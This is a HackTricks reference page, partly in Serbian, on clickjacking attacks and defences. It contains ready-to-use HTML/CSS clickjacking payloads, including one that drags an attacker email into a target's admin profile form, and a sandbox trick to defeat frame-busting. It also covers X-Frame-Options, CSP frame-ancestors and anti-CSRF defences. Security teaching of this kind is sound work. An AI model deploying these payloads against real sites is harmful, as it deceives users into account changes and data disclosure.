Clickjacking
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je Clickjacking
U clickjacking napadu, korisnik biva prevaren da klikne na element na veb-stranici koji je ili nevidljiv ili maskiran kao drugi element. Ova manipulacija može dovesti do neželjenih posledica po korisnika, kao što su preuzimanje malware-a, preusmeravanje na zlonamerne veb-stranice, otkrivanje kredencijala ili osetljivih informacija, transferi novca ili kupovina proizvoda putem interneta.
Trik sa predpopunjavanjem formi
Ponekad je moguće popuniti vrednosti polja forme korišćenjem GET parametara prilikom učitavanja stranice. Napadač može zloupotrebiti ovo ponašanje da popuni formu proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme Submit.
Popunjavanje forme pomoću Drag&Drop
Ako treba da korisnik popuni formu, ali ne želite da ga direktno pitate da unese neke specifične podatke (kao email i/ili specifičnu lozinku koju znate), možete ga jednostavno zamoliti da Drag&Drop nešto što će upisati vaše kontrolisane podatke, kao u this example.
Osnovni Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Višeetapni payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Example:
You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters.
An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.
DoubleClickjacking
Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
warning
This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.
Browser extensions: DOM-based autofill clickjacking
Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.
- For concrete techniques and PoCs see:
Strategies to Mitigate Clickjacking
Client-Side Defenses
Scripts executed on the client side can perform actions to prevent Clickjacking:
- Ensuring the application window is the main or top window.
- Making all frames visible.
- Preventing clicks on invisible frames.
- Detecting and alerting users to potential Clickjacking attempts.
However, these frame-busting scripts may be circumvented:
- Browsers' Security Settings: Some browsers might block these scripts based on their security settings or lack of JavaScript support.
- HTML5 iframe sandbox Attribute: An attacker can neutralize frame buster scripts by setting the sandbox attribute with allow-forms or allow-scripts values without allow-top-navigation. This prevents the iframe from verifying if it is the top window, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Vrednosti allow-forms i allow-scripts omogućavaju akcije unutar iframe-a dok onemogućavaju navigaciju na gornjem nivou. Da bi se obezbedila predviđena funkcionalnost ciljanog sajta, dodatna dopuštenja poput allow-same-origin i allow-modals mogu biti neophodna, u zavisnosti od tipa napada. Poruke u konzoli pregledača mogu ukazati koja dopuštenja treba dozvoliti.
Odbrane na serverskoj strani
X-Frame-Options
The X-Frame-Options HTTP response header obaveštava pregledač o legitimnosti renderovanja stranice u ili
- X-Frame-Options: deny - No domain can frame the content.
- X-Frame-Options: sameorigin - Only the current site can frame the content.
- X-Frame-Options: allow-from https://trusted.com - Only the specified 'uri' can frame the page.
- Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP je preporučena metoda za zaštitu od Clickjacking-a:
- frame-ancestors 'none' - Similar to X-Frame-Options: deny.
- frame-ancestors 'self' - Similar to X-Frame-Options: sameorigin.
- frame-ancestors trusted.com - Similar to X-Frame-Options: allow-from.
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Dalje detalje i složene primere možete pronaći u frame-ancestors CSP documentation i u Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) je bezbednosna mera koja pomaže u sprečavanju Clickjacking-a i drugih code injection napada tako što specificira koje izvore pregledač treba da dozvoli za učitavanje sadržaja.
frame-src Directive
- Defines valid sources for frames.
- More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ova politika dozvoljava frames iz istog origin (self) i https://trusted-website.com.
child-src direktiva
- Uvedena u CSP nivou 2 za postavljanje validnih izvora za web workers i frames.
- Služi kao fallback za frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ova politika dozvoljava okvire i workere iz istog porekla (self) i sa https://trusted-website.com.
Napomene o upotrebi:
- Deprecation: child-src se postepeno ukida u korist frame-src i worker-src.
- Fallback ponašanje: Ako frame-src nedostaje, child-src se koristi kao fallback za frames. Ako oba nedostaju, koristi se default-src.
- Strogo definisanje izvora: Uključite samo poverljive izvore u direktive kako biste sprečili eksploataciju.
JavaScript skripte za sprečavanje uokviravanja
Iako nisu potpuno nepogrešive, skripte zasnovane na JavaScript-u za sprečavanje uokviravanja mogu se koristiti da bi se sprečilo uokviravanje veb stranice. Primer:
if (top !== self) {
top.location = self.location
}
Korišćenje Anti-CSRF tokens
- Validacija tokena: Koristite anti-CSRF tokens u web aplikacijama kako biste osigurali da zahtevi koji menjaju stanje budu namerno pokrenuti od strane korisnika, a ne preko Clickjacked stranice.
Reference
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks